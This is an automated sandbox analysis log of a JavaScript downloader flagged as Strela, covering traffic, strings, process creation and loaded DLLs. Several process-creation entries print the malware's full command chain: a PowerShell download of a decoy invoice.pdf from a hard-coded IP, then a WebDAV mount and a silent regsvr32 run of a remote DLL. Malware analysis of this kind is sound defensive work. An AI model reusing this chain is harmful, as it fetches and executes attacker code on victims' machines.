HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2102887054.0000022DCF5F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000008.00000003.2245575271.000001CCA1BDD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.2246023274.000001CCA1BA8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.2246066160.000001CCA1BFD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000003.2235413311.000001CCA1BFB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.2246066160.000001CCA1BDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000008.00000003.2245575271.000001CCA1BDD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.2246066160.000001CCA1BDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/L
Source: svchost.exe, 0000000A.00000002.3385753295.000001F105400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.10.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.9.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.10.dr, qmgr.db.10.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 0000000A.00000003.2230482036.000001F1053B0000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr, qmgr.db.10.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.10.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6392, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 2843421561127533345.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5552:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kw0rp14a.52n.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2843421561127533345.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1608,i,17778285800311555354,14425289030959085275,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1608,i,17778285800311555354,14425289030959085275,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
